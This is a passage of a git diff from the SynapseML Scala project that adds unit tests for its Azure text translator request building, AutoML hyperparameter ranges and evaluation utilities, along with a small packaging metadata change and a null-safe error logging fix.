b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/translate/TextTranslatorCoreSuite.scala new file mode 100644 index 00000000000..25abe5f1091 --- /dev/null +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/translate/TextTranslatorCoreSuite.scala @@ -0,0 +1,340 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.translate + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.http.client.methods.HttpPost +import org.apache.http.util.EntityUtils +import org.apache.spark.sql.Row +import org.apache.spark.sql.types.ArrayType +import org.apache.spark.sql.types.StructType + +import java.net.URLDecoder + +private[translate] class TestableTranslate extends Translate { + def buildRequest(schema: StructType, row: Row): Option[HttpPost] = + inputFunc(schema)(row).map(_.asInstanceOf[HttpPost]) +} + +private[translate] class TestableTransliterate extends Transliterate { + def buildRequest(schema: StructType, row: Row): Option[HttpPost] = + inputFunc(schema)(row).map(_.asInstanceOf[HttpPost]) +} + +private[translate] class TestableDetect extends Detect { + def buildRequest(schema: StructType, row: Row): Option[HttpPost] = + inputFunc(schema)(row).map(_.asInstanceOf[HttpPost]) +} + +private[translate] class TestableBreakSentence extends BreakSentence { + def buildRequest(schema: StructType, row: Row): Option[HttpPost] = + inputFunc(schema)(row).map(_.asInstanceOf[HttpPost]) +} + +private[translate] class TestableDictionaryLookup extends DictionaryLookup { + def buildRequest(schema: StructType, row: Row): Option[HttpPost] = + inputFunc(schema)(row).map(_.asInstanceOf[HttpPost]) +} + +private[translate] class TestableDictionaryExamples extends DictionaryExamples { + def buildRequest(schema: StructType, row: Row): Option[HttpPost] = + inputFunc(schema)(row).map(_.asInstanceOf[HttpPost]) +} + +class TextTranslatorCoreSuite extends TestBase { + + import spark.implicits._ + + private def toQueryMap(post: HttpPost): Map[String, String] = { + Option(post.getURI.getRawQuery).toSeq.flatMap(_.split("&")).map { kv => + val pair = kv.split("=", 2) + val key = URLDecoder.decode(pair(0), "UTF-8") + val value = if (pair.length > 1) URLDecoder.decode(pair(1), "UTF-8") else "" + key -> value + }.toMap + } + + test("setLocation sets translator endpoint and subscription region") { + val global = new Translate().setLocation("eastus") + assert(global.getSubscriptionRegion == "eastus") + assert(global.getUrl == "https://api.cognitive.microsofttranslator.com/translate") + + val usGov = new Translate().setLocation("usgovarizona") + assert(usGov.getUrl == "https://api.cognitive.microsofttranslator.us/translate") + + val china = new Translate().setLocation("chinanorth") + assert(china.getUrl == "https://api.cognitive.microsofttranslator.cn/translate") + } + + test("translate defaults are deterministic") { + val t = new Translate() + assert(t.getOrDefault(t.textType) == Left("plain")) + assert(t.getOrDefault(t.category) == Left("general")) + assert(t.getOrDefault(t.profanityAction) == Left("NoAction")) + assert(t.getOrDefault(t.profanityMarker) == Left("Asterisk")) + assertResult(Left(false))(t.getOrDefault(t.includeAlignment)) + assertResult(Left(false))(t.getOrDefault(t.includeSentenceLength)) + assertResult(Left(true))(t.getOrDefault(t.allowFallback)) + } + + test("translate rejects invalid enum parameters") { + intercept[IllegalArgumentException] { + new Translate().setTextType("markdown") + } + intercept[IllegalArgumentException] { + new Translate().setProfanityAction("Mask") + } + intercept[IllegalArgumentException] { + new Translate().setProfanityMarker("Bracket") + } + } + + test("translate request building maps query params and body deterministically") { + val df = Seq((Seq("hello", "world"), Seq("de", "fr"), "en")) + .toDF("text", "toLanguage", "fromLanguage") + + val t = new TestableTranslate() + .setSubscriptionKey("fake-key") + .setLocation("eastus") + .setTextCol("text") + .setToLanguageCol("toLanguage") + .setFromLanguageCol("fromLanguage") + + val request = t.buildRequest(df.schema, df.head()).get + val query = toQueryMap(request) + assert(query("api-version") == "3.0") + assert(query("from") == "en") + assert(query("to") == "de,fr") + assert(query("textType") == "plain") + assert(query("category") == "general") + assert(query("profanityAction") == "NoAction") + assert(query("profanityMarker") == "Asterisk") + assert(query("includeAlignment") == "false") + assert(query("includeSentenceLength") == "false") + assert(query("allowFallback") == "true") + assert(request.getFirstHeader("Ocp-Apim-Subscription-Key").getValue == "fake-key") + assert(request.getFirstHeader("Ocp-Apim-Subscription-Region").getValue == "eastus") + assert(request.getFirstHeader("Content-Type").getValue == "application/json; charset=UTF-8") + assert(EntityUtils.toString(request.getEntity, "UTF-8") == """[{"Text":"hello"},{"Text":"world"}]""") + } + + test("translate request building skips empty or missing text and targets") { + val t = new TestableTranslate() + .setLocation("eastus") + .setTextCol("text") + .setToLanguageCol("toLanguage") + + val emptyTextDf = Seq((Seq.empty[String], Seq("de"))).toDF("text", "toLanguage") + assert(t.buildRequest(emptyTextDf.schema, emptyTextDf.head()).isEmpty) + + val emptyToDf = Seq((Seq("hello"), Seq.empty[String])).toDF("text", "toLanguage") + assert(t.buildRequest(emptyToDf.schema, emptyToDf.head()).isEmpty) + + val nullToDf = Seq((Seq("hello"), Option.empty[Seq[String]])).toDF("text", "toLanguage") + assert(t.buildRequest(nullToDf.schema, nullToDf.head()).isEmpty) + } + + test("translate transformSchema adds output and error columns without temp columns") { + val input = Seq(("hello", "de")).toDF("text", "toLanguage") + val t = new Translate() + .setTextCol("text") + .setToLanguageCol("toLanguage") + .setOutputCol("translation") + .setErrorCol("translationError") + + val schema = t.transformSchema(input.schema) + assert(schema.fieldNames.toSet == Set("text", "toLanguage", "translation", "translationError")) + assert(schema("translation").dataType == ArrayType(TranslateResponse.schema)) + } + + test("translate validates required parameters during schema creation") { + val textOnly = Seq("hello").toDF("text") + val err = intercept[AssertionError] { + new Translate().setTextCol("text").transformSchema(textOnly.schema) + } + assert(err.getMessage.contains("Missing required params")) + assert(err.getMessage.contains("toLanguage")) + } + + test("transliterate request building maps required params and body deterministically") { + val df = Seq((Seq("こんにちは"), "ja", "Jpan", "Latn")).toDF("text", "language", "fromScript", "toScript") + + val t = new TestableTransliterate() + .setSubscriptionKey("fake-key") + .setLocation("eastus") + .setTextCol("text") + .setLanguageCol("language") + .setFromScriptCol("fromScript") + .setToScriptCol("toScript") + + val request = t.buildRequest(df.schema, df.head()).get + val query = toQueryMap(request) + assert(request.getURI.getPath.endsWith("/transliterate")) + assert(query("api-version") == "3.0") + assert(query("language") == "ja") + assert(query("fromScript") == "Jpan") + assert(query("toScript") == "Latn") + assert(request.getFirstHeader("Ocp-Apim-Subscription-Key").getValue == "fake-key") + assert(request.getFirstHeader("Ocp-Apim-Subscription-Region").getValue == "eastus") + assert(EntityUtils.toString(request.getEntity, "UTF-8") == """[{"Text":"こんにちは"}]""") + } + + test("detect and breaksentence request building is deterministic offline") { + val detectDf = Seq(Seq("hello", "world")).toDF("text") + val detectRequest = new TestableDetect() + .setLocation("eastus") + .setTextCol("text") + .buildRequest(detectDf.schema, detectDf.head()) + .get + assert(detectRequest.getURI.getPath.endsWith("/detect")) + assert(toQueryMap(detectRequest) == Map("api-version" -> "3.0")) + assert(EntityUtils.toString(detectRequest.getEntity, "UTF-8") == """[{"Text":"hello"},{"Text":"world"}]""") + + val breakDf = Seq((Seq("hello"), "en", "Latn")).toDF("text", "language", "script") + val breakRequest = new TestableBreakSentence() + .setLocation("eastus") + .setTextCol("text") + .setLanguageCol("language") + .setScriptCol("script") + .buildRequest(breakDf.schema, breakDf.head()) + .get + val breakQuery = toQueryMap(breakRequest) + assert(breakRequest.getURI.getPath.endsWith("/breaksentence")) + assert(breakQuery("api-version") == "3.0") + assert(breakQuery("language") == "en") + assert(breakQuery("script") == "Latn") + assert(EntityUtils.toString(breakRequest.getEntity, "UTF-8") == """[{"Text":"hello"}]""") + } + + test("dictionary lookup and examples request building maps query params and body") { + val lookupDf = Seq((Seq("fly"), "en", "es")).toDF("text", "fromLanguage", "toLanguage") + val lookupRequest = new TestableDictionaryLookup() + .setSubscriptionKey("fake-key") + .setLocation("eastus") + .setTextCol("text") + .setFromLanguageCol("fromLanguage") + .setToLanguageCol("toLanguage") + .buildRequest(lookupDf.schema, lookupDf.head()) + .get + val lookupQuery = toQueryMap(lookupRequest) + assert(lookupRequest.getURI.getPath.endsWith("/dictionary/lookup")) + assert(lookupQuery("api-version") == "3.0") + assert(lookupQuery("from") == "en") + assert(lookupQuery("to") == "es") + assert(EntityUtils.toString(lookupRequest.getEntity, "UTF-8") == """[{"Text":"fly"}]""") + + val examplesDf = Seq((Seq(TextAndTranslation("fly", "volar")), "en", "es")) + .toDF("textAndTranslation", "fromLanguage", "toLanguage") + val examplesRequest = new TestableDictionaryExamples() + .setLocation("eastus") + .setTextAndTranslationCol("textAndTranslation") + .setFromLanguageCol("fromLanguage") + .setToLanguageCol("toLanguage") + .buildRequest(examplesDf.schema, examplesDf.head()) + .get + val examplesQuery = toQueryMap(examplesRequest) + assert(examplesRequest.getURI.getPath.endsWith("/dictionary/examples")) + assert(examplesQuery("api-version") == "3.0") + assert(examplesQuery("from") == "en") + assert(examplesQuery("to") == "es") + assert(EntityUtils.toString(examplesRequest.getEntity, "UTF-8") == """[{"Text":"fly","Translation":"volar"}]""") + } + + test("dictionary examples request building supports scalar text and translation input") { + val request = new TestableDictionaryExamples() + .setLocation("eastus") + .setFromLanguage("en") + .setToLanguage("es") + .setTextAndTranslation(TextAndTranslation("fly", "volar")) + .buildRequest(StructType(Seq.empty), Row.empty) + .get + val query = toQueryMap(request) + assert(request.getURI.getPath.endsWith("/dictionary/examples")) + assert(query("api-version") == "3.0") + assert(query("from") == "en") + assert(query("to") == "es") + assert(EntityUtils.toString(request.getEntity, "UTF-8") == """[{"Text":"fly","Translation":"volar"}]""") + } + + test("non-translate transformSchema adds deterministic output and error columns") { + val textOnly = Seq("hello").toDF("text") + val textAndTranslationOnly = Seq(Seq(TextAndTranslation("fly", "volar"))).toDF("textAndTranslation") + + val transliterateSchema = new Transliterate() + .setTextCol("text") + .setLanguage("ja") + .setFromScript("Jpan") + .setToScript("Latn") + .setOutputCol("transliteration") + .setErrorCol("transliterationError") + .transformSchema(textOnly.schema) + assert(transliterateSchema.fieldNames.toSet == Set("text", "transliteration", "transliterationError")) + assert(transliterateSchema("transliteration").dataType == ArrayType(TransliterateResponse.schema)) + + val detectSchema = new Detect() + .setTextCol("text") + .setOutputCol("detection") + .setErrorCol("detectionError") + .transformSchema(textOnly.schema) + assert(detectSchema.fieldNames.toSet == Set("text", "detection", "detectionError")) + assert(detectSchema("detection").dataType == ArrayType(DetectResponse.schema)) + + val breakSentenceSchema = new BreakSentence() + .setTextCol("text") + .setOutputCol("sentenceBreaks") + .setErrorCol("breakError") + .transformSchema(textOnly.schema) + assert(breakSentenceSchema.fieldNames.toSet == Set("text", "sentenceBreaks", "breakError")) + assert(breakSentenceSchema("sentenceBreaks").dataType == ArrayType(BreakSentenceResponse.schema)) + + val lookupSchema = new DictionaryLookup() + .setTextCol("text") + .setFromLanguage("en") + .setToLanguage("es") + .setOutputCol("lookup") + .setErrorCol("lookupError") + .transformSchema(textOnly.schema) + assert(lookupSchema.fieldNames.toSet == Set("text", "lookup", "lookupError")) + assert(lookupSchema("lookup").dataType == ArrayType(DictionaryLookupResponse.schema)) + + val examplesSchema = new DictionaryExamples() + .setTextAndTranslationCol("textAndTranslation") + .setFromLanguage("en") + .setToLanguage("es") + .setOutputCol("examples") + .setErrorCol("examplesError") + .transformSchema(textAndTranslationOnly.schema) + assert(examplesSchema.fieldNames.toSet == Set("textAndTranslation", "examples", "examplesError")) + assert(examplesSchema("examples").dataType == ArrayType(DictionaryExamplesResponse.schema)) + } + + test("non-translate classes validate required parameters during schema creation") { + val textOnly = Seq("hello").toDF("text") + val textAndTranslationOnly = Seq(Seq(TextAndTranslation("fly", "volar"))).toDF("textAndTranslation") + + val transliterateError = intercept[AssertionError] { + new Transliterate().setTextCol("text").transformSchema(textOnly.schema) + } + assert(transliterateError.getMessage.contains("Missing required params")) + assert(transliterateError.getMessage.contains("language")) + assert(transliterateError.getMessage.contains("fromScript")) + assert(transliterateError.getMessage.contains("toScript")) + + val dictionaryLookupError = intercept[AssertionError] { + new DictionaryLookup().setTextCol("text").transformSchema(textOnly.schema) + } + assert(dictionaryLookupError.getMessage.contains("Missing required params")) + assert(dictionaryLookupError.getMessage.contains("fromLanguage")) + assert(dictionaryLookupError.getMessage.contains("toLanguage")) + + val dictionaryExamplesError = intercept[AssertionError] { + new DictionaryExamples() + .setTextAndTranslationCol("textAndTranslation") + .transformSchema(textAndTranslationOnly.schema) + } + assert(dictionaryExamplesError.getMessage.contains("Missing required params")) + assert(dictionaryExamplesError.getMessage.contains("fromLanguage")) + assert(dictionaryExamplesError.getMessage.contains("toLanguage")) + } +} diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/PyCodegen.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/PyCodegen.scala index 49303896ff5..53139139bfc 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/PyCodegen.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/PyCodegen.scala @@ -126,6 +126,7 @@ object PyCodegen { | long_description="SynapseML contains Microsoft's open source " | + "contributions to the Apache Spark ecosystem", | license="MIT", + | license_expression="MIT", | packages=find_namespace_packages(include=['synapse.ml', 'synapse.ml.*']) ${extraPackage}, | url="https://github.com/Microsoft/SynapseML", | author="Microsoft", @@ -135,8 +136,6 @@ object PyCodegen { | "Intended Audience :: Developers", | "Intended Audience :: Science/Research", | "Topic :: Software Development :: Libraries", - | "License :: OSI Approved :: MIT License", - | "Programming Language :: Python :: 2", | "Programming Language :: Python :: 3", | ], | zip_safe=True, diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/logging/SynapseMLLogging.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/logging/SynapseMLLogging.scala index 2269592be27..3015f764355 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/logging/SynapseMLLogging.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/logging/SynapseMLLogging.scala @@ -41,7 +41,10 @@ case class RequiredErrorFields(errorType: String, def toMap: Map[String, String] = { Map( "errorType" -> errorType, - "errorMessage" -> errorType + // Exception.getMessage is null for exceptions constructed without one + // (e.g. new NullPointerException). spray-json's JsString rejects null, + // so serializing the payload would throw and mask the original error. + "errorMessage" -> Option(errorMessage).getOrElse("") ) } } diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyDefaultHyperparams.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyDefaultHyperparams.scala new file mode 100644 index 00000000000..a60443a09c6 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyDefaultHyperparams.scala @@ -0,0 +1,205 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.automl + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.classification._ + +// scalastyle:off magic.number +class VerifyDefaultHyperparams extends TestBase { + + test("defaultRange for LogisticRegression returns non-empty array") { + val lr = new LogisticRegression() + val ranges = DefaultHyperparams.defaultRange(lr) + assert(ranges.nonEmpty) + assert(ranges.length === 3) // regParam, elasticNetParam, maxIter + } + + test("defaultRange for LogisticRegression includes expected params") { + val lr = new LogisticRegression() + val ranges = DefaultHyperparams.defaultRange(lr) + val paramNames = ranges.map(_._1.name).toSet + assert(paramNames.contains("regParam")) + assert(paramNames.contains("elasticNetParam")) + assert(paramNames.contains("maxIter")) + } + + test("LogisticRegression default range is non-empty") { + val lr = new LogisticRegression() + val params = DefaultHyperparams.defaultRange(lr) + assert(params.nonEmpty) + val paramNames = params.map(_._1.name).toSet + assert(paramNames.contains("regParam")) + assert(paramNames.contains("elasticNetParam")) + assert(paramNames.contains("maxIter")) + } + + test("defaultRange for DecisionTreeClassifier returns non-empty array") { + val dt = new DecisionTreeClassifier() + val ranges = DefaultHyperparams.defaultRange(dt) + assert(ranges.nonEmpty) + assert(ranges.length === 4) // maxBins, maxDepth, minInfoGain, minInstancesPerNode + } + + test("defaultRange for DecisionTreeClassifier includes expected params") { + val dt = new DecisionTreeClassifier() + val ranges = DefaultHyperparams.defaultRange(dt) + val paramNames = ranges.map(_._1.name).toSet + assert(paramNames.contains("maxBins")) + assert(paramNames.contains("maxDepth")) + assert(paramNames.contains("minInfoGain")) + assert(paramNames.contains("minInstancesPerNode")) + } + + test("DecisionTreeClassifier default range is non-empty") { + val dt = new DecisionTreeClassifier() + val params = DefaultHyperparams.defaultRange(dt) + assert(params.nonEmpty) + val paramNames = params.map(_._1.name).toSet + assert(paramNames.contains("maxBins")) + assert(paramNames.contains("maxDepth")) + } + + test("defaultRange for GBTClassifier returns non-empty array") { + val gbt = new GBTClassifier() + val ranges = DefaultHyperparams.defaultRange(gbt) + assert(ranges.nonEmpty) + assert(ranges.length === 7) + } + + test("defaultRange for GBTClassifier includes expected params") { + val gbt = new GBTClassifier() + val ranges = DefaultHyperparams.defaultRange(gbt) + val paramNames = ranges.map(_._1.name).toSet + assert(paramNames.contains("maxBins")) + assert(paramNames.contains("maxDepth")) + assert(paramNames.contains("minInfoGain")) + assert(paramNames.contains("minInstancesPerNode")) + assert(paramNames.contains("maxIter")) + assert(paramNames.contains("stepSize")) + assert(paramNames.contains("subsamplingRate")) + } + + test("GBTClassifier default range is non-empty") { + val gbt = new GBTClassifier() + val params = DefaultHyperparams.defaultRange(gbt) + assert(params.nonEmpty) + assert(params.length >= 5) + } + + test("defaultRange for RandomForestClassifier returns non-empty array") { + val rf = new RandomForestClassifier() + val ranges = DefaultHyperparams.defaultRange(rf) + assert(ranges.nonEmpty) + assert(ranges.length === 6) + } + + test("defaultRange for RandomForestClassifier includes expected params") { + val rf = new RandomForestClassifier() + val ranges = DefaultHyperparams.defaultRange(rf) + val paramNames = ranges.map(_._1.name).toSet + assert(paramNames.contains("maxBins")) + assert(paramNames.contains("maxDepth")) + assert(paramNames.contains("minInfoGain")) + assert(paramNames.contains("minInstancesPerNode")) + assert(paramNames.contains("numTrees")) + assert(paramNames.contains("subsamplingRate")) + } + + test("RandomForestClassifier default range is non-empty") { + val rf = new RandomForestClassifier() + val params = DefaultHyperparams.defaultRange(rf) + assert(params.nonEmpty) + val paramNames = params.map(_._1.name).toSet + assert(paramNames.contains("numTrees")) + } + + test("defaultRange for MultilayerPerceptronClassifier returns non-empty array") { + val mlp = new MultilayerPerceptronClassifier() + val ranges = DefaultHyperparams.defaultRange(mlp) + assert(ranges.nonEmpty) + assert(ranges.length === 4) // blockSize, maxIter, tol, layers + } + + test("defaultRange for MultilayerPerceptronClassifier includes expected params") { + val mlp = new MultilayerPerceptronClassifier() + val ranges = DefaultHyperparams.defaultRange(mlp) + val paramNames = ranges.map(_._1.name).toSet + assert(paramNames.contains("blockSize")) + assert(paramNames.contains("maxIter")) + assert(paramNames.contains("tol")) + assert(paramNames.contains("layers")) + } + + test("MultilayerPerceptronClassifier default range is non-empty") { + val mlp = new MultilayerPerceptronClassifier() + val params = DefaultHyperparams.defaultRange(mlp) + assert(params.nonEmpty) + val paramNames = params.map(_._1.name).toSet + assert(paramNames.contains("blockSize")) + assert(paramNames.contains("layers")) + } + + test("defaultRange for NaiveBayes returns non-empty array") { + val nb = new NaiveBayes() + val ranges = DefaultHyperparams.defaultRange(nb) + assert(ranges.nonEmpty) + assert(ranges.length === 1) // smoothing + } + + test("defaultRange for NaiveBayes includes smoothing param") { + val nb = new NaiveBayes() + val ranges = DefaultHyperparams.defaultRange(nb) + val paramNames = ranges.map(_._1.name).toSet + assert(paramNames.contains("smoothing")) + } + + test("NaiveBayes default range is non-empty") { + val nb = new NaiveBayes() + val params = DefaultHyperparams.defaultRange(nb) + assert(params.nonEmpty) + val paramNames = params.map(_._1.name).toSet + assert(paramNames.contains("smoothing")) + } + + test("all defaultRange entries are concrete distributions that sample in range") { + val lr = new LogisticRegression() + val ranges = DefaultHyperparams.defaultRange(lr) + assert(ranges.nonEmpty) + ranges.foreach { case (param, dist) => + assert(param != null) + dist match { + case d: IntRangeHyperParam => + val v = d.getNext(); assert(v >= d.min && v < d.max, s"${param.name} sampled $v") + case d: LongRangeHyperParam => + val v = d.getNext(); assert(v >= d.min && v < d.max, s"${param.name} sampled $v") + case d: DoubleRangeHyperParam => + val v = d.getNext(); assert(v >= d.min && v < d.max, s"${param.name} sampled $v") + case d: FloatRangeHyperParam => + val v = d.getNext(); assert(v >= d.min && v < d.max, s"${param.name} sampled $v") + case d: DiscreteHyperParam[_] => + assert(d.getValues.size > 0, s"${param.name} has no discrete values") + case other => + fail(s"${param.name} mapped to an unsupported Dist: ${other.getClass.getName}") + } + } + } + + test("default ranges produce values inside the declared bounds") { + val lr = new LogisticRegression() + val params = DefaultHyperparams.defaultRange(lr) + def dist(name: String): Dist[_] = params.find(_._1.name == name).get._2 + // Bounds come from DefaultHyperparams.defaultRange(LogisticRegression). Asserting only + // non-null would pass even if every distribution returned a constant. + (1 to 50).foreach { _ => + val reg = dist("regParam").getNext.asInstanceOf[Double] + assert(reg >= 0.001 && reg < 1.0) + val elastic = dist("elasticNetParam").getNext.asInstanceOf[Double] + assert(elastic >= 0.001 && elastic < 1.0) + val iters = dist("maxIter").getNext.asInstanceOf[Int] + assert(iters >= 5 && iters < 10) + } + } +} +// scalastyle:on magic.number diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyEvaluationUtils.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyEvaluationUtils.scala new file mode 100644 index 00000000000..a8d1b96b40b --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyEvaluationUtils.scala @@ -0,0 +1,195 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.automl + +import com.microsoft.azure.synapse.ml.core.metrics.MetricConstants +import com.microsoft.azure.synapse.ml.core.schema.SchemaConstants +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.classification.LogisticRegression +import org.apache.spark.ml.feature.Tokenizer +import org.apache.spark.ml.regression.{DecisionTreeRegressor, GBTRegressor, LinearRegression, RandomForestRegressor} + +class VerifyEvaluationUtils extends TestBase { + + test("ModelTypeUnsupportedErr constant has expected value") { + assert(EvaluationUtils.ModelTypeUnsupportedErr === "Model type not supported for evaluation") + } + + test("getMetricWithOperator returns correct metric for regression MSE") { + val (metricName, ordering) = EvaluationUtils.getMetricWithOperator( + SchemaConstants.RegressionKind, + MetricConstants.MseSparkMetric + ) + assert(metricName === MetricConstants.MseColumnName) + // MSE should use lowest (reverse ordering) + assert(ordering.compare(1.0, 2.0) > 0) // 1.0 is "better" than 2.0 for MSE + } + + test("getMetricWithOperator returns correct metric for regression RMSE") { + val (metricName, ordering) = EvaluationUtils.getMetricWithOperator( + SchemaConstants.RegressionKind, + MetricConstants.RmseSparkMetric + ) + assert(metricName === MetricConstants.RmseColumnName) + // RMSE should use lowest + assert(ordering.compare(1.0, 2.0) > 0) + } + + test("getMetricWithOperator returns correct metric for regression R2") { + val (metricName, ordering) = EvaluationUtils.getMetricWithOperator( + SchemaConstants.RegressionKind, + MetricConstants.R2SparkMetric + ) + assert(metricName === MetricConstants.R2ColumnName) + // R2 should use highest + assert(ordering.compare(2.0, 1.0) > 0) // 2.0 is "better" than 1.0 for R2 + } + + test("getMetricWithOperator returns correct metric for regression MAE") { + val (metricName, ordering) = EvaluationUtils.getMetricWithOperator( + SchemaConstants.RegressionKind, + MetricConstants.MaeSparkMetric + ) + assert(metricName === MetricConstants.MaeColumnName) + // MAE should use lowest + assert(ordering.compare(1.0, 2.0) > 0) + } + + test("regression metrics use chooseLowest ordering (except R2)") { + val (_, mseOrd) = EvaluationUtils.getMetricWithOperator( + SchemaConstants.RegressionKind, MetricConstants.MseSparkMetric) + // MSE should prefer lower values + assert(mseOrd.compare(1.0, 2.0) > 0) + + val (_, r2Ord) = EvaluationUtils.getMetricWithOperator( + SchemaConstants.RegressionKind, MetricConstants.R2SparkMetric) + // R2 should prefer higher values + assert(r2Ord.compare(1.0, 2.0) < 0) + } + + test("getMetricWithOperator returns correct metric for classification AUC") { + val (metricName, ordering) = EvaluationUtils.getMetricWithOperator( + SchemaConstants.ClassificationKind, + MetricConstants.AucSparkMetric + ) + assert(metricName === MetricConstants.AucColumnName) + // AUC should use highest + assert(ordering.compare(2.0, 1.0) > 0) + } + + test("getMetricWithOperator returns correct metric for classification Precision") { + val (metricName, ordering) = EvaluationUtils.getMetricWithOperator( + SchemaConstants.ClassificationKind, + MetricConstants.PrecisionSparkMetric + ) + assert(metricName === MetricConstants.PrecisionColumnName) + // Precision should use highest + assert(ordering.compare(2.0, 1.0) > 0) + } + + test("getMetricWithOperator returns correct metric for classification Recall") { + val (metricName, ordering) = EvaluationUtils.getMetricWithOperator( + SchemaConstants.ClassificationKind, + MetricConstants.RecallSparkMetric + ) + assert(metricName === MetricConstants.RecallColumnName) + // Recall should use highest + assert(ordering.compare(2.0, 1.0) > 0) + } + + test("getMetricWithOperator returns correct metric for classification Accuracy") { + val (metricName, ordering) = EvaluationUtils.getMetricWithOperator( + SchemaConstants.ClassificationKind, + MetricConstants.AccuracySparkMetric + ) + assert(metricName === MetricConstants.AccuracyColumnName) + // Accuracy should use highest + assert(ordering.compare(2.0, 1.0) > 0) + } + + test("getMetricWithOperator returns correct metric for classification accuracy") { + val (name, _) = EvaluationUtils.getMetricWithOperator( + SchemaConstants.ClassificationKind, MetricConstants.AccuracySparkMetric) + assert(name === MetricConstants.AccuracyColumnName) + } + + test("classification metrics use chooseHighest ordering") { + val (_, aucOrd) = EvaluationUtils.getMetricWithOperator( + SchemaConstants.ClassificationKind, MetricConstants.AucSparkMetric) + // AUC should prefer higher values + assert(aucOrd.compare(1.0, 2.0) < 0) + } + + test("getMetricWithOperator throws for unsupported regression metric") { + assertThrows[Exception] { + EvaluationUtils.getMetricWithOperator( + SchemaConstants.RegressionKind, + "unsupported_metric" + ) + } + } + + test("unsupported regression metric throws") { + assertThrows[Exception] { + EvaluationUtils.getMetricWithOperator(SchemaConstants.RegressionKind, "bogus_metric") + } + } + + test("getMetricWithOperator throws for unsupported classification metric") { + assertThrows[Exception] { + EvaluationUtils.getMetricWithOperator( + SchemaConstants.ClassificationKind, + "unsupported_metric" + ) + } + } + + test("unsupported classification metric throws") { + assertThrows[Exception] { + EvaluationUtils.getMetricWithOperator(SchemaConstants.ClassificationKind, "bogus_metric") + } + } + + test("getMetricWithOperator throws for unsupported model type") { + assertThrows[Exception] { + EvaluationUtils.getMetricWithOperator( + "unsupported_model_type", + MetricConstants.MseSparkMetric + ) + } + } + + test("unsupported model type throws") { + assertThrows[Exception] { + EvaluationUtils.getMetricWithOperator("unsupported_type", MetricConstants.MseSparkMetric) + } + } + + test("getModelType returns ClassificationKind for a Classifier") { + assert(EvaluationUtils.getModelType(new LogisticRegression()) === SchemaConstants.ClassificationKind) + } + + test("getModelType returns RegressionKind for LinearRegression") { + assert(EvaluationUtils.getModelType(new LinearRegression()) === SchemaConstants.RegressionKind) + } + + test("getModelType returns RegressionKind for DecisionTreeRegressor") { + assert(EvaluationUtils.getModelType(new DecisionTreeRegressor()) === SchemaConstants.RegressionKind) + } + + test("getModelType returns RegressionKind for GBTRegressor") { + assert(EvaluationUtils.getModelType(new GBTRegressor()) === SchemaConstants.RegressionKind) + } + + test("getModelType returns RegressionKind for RandomForestRegressor") { + assert(EvaluationUtils.getModelType(new RandomForestRegressor()) === SchemaConstants.RegressionKind) + } + + test("getModelType throws ModelTypeUnsupportedErr for an unsupported stage") { + val caught = intercept[Exception] { + EvaluationUtils.getModelType(new Tokenizer()) + } + assert(caught.getMessage === EvaluationUtils.ModelTypeUnsupportedErr) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyHyperparamBuilder.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyHyperparamBuilder.scala new file mode 100644 index 00000000000..740f8f65d1b --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyHyperparamBuilder.scala @@ -0,0 +1,254 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.automl + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.param.{DoubleParam, FloatParam, IntParam, LongParam, ParamMap, Params} + +import scala.collection.JavaConverters._ + +class VerifyHyperparamBuilder extends TestBase { + + // Helper class for creating test params + private class TestParams extends Params { + override val uid: String = "test" + val intParam = new IntParam(this, "intParam", "test int param") + val doubleParam = new DoubleParam(this, "doubleParam", "test double param") + val longParam = new LongParam(this, "longParam", "test long param") + val floatParam = new FloatParam(this, "floatParam", "test float param") + override def copy(extra: ParamMap): Params = this + } + + private val testParamsInstance = new TestParams + + test("IntRangeHyperParam generates values within range") { + val hp = new IntRangeHyperParam(5, 15, seed = 42) + val values = (1 to 100).map(_ => hp.getNext()) + assert(values.forall(v => v >= 5 && v < 15)) + assert(values.toSet.size > 1) // not all the same + } + + test("IntRangeHyperParam respects seed for reproducibility") { + val param1 = new IntRangeHyperParam(0, 100, seed = 42) + val param2 = new IntRangeHyperParam(0, 100, seed = 42) + val values1 = (1 to 10).map(_ => param1.getNext()) + val values2 = (1 to 10).map(_ => param2.getNext()) + assert(values1 === values2) + } + + test("DoubleRangeHyperParam generates values within range") { + val param = new DoubleRangeHyperParam(0.0, 1.0, seed = 42) + for (_ <- 1 to 100) { + val value = param.getNext() + assert(value >= 0.0 && value < 1.0) + } + } + + test("DoubleRangeHyperParam respects seed for reproducibility") { + val param1 = new DoubleRangeHyperParam(0.0, 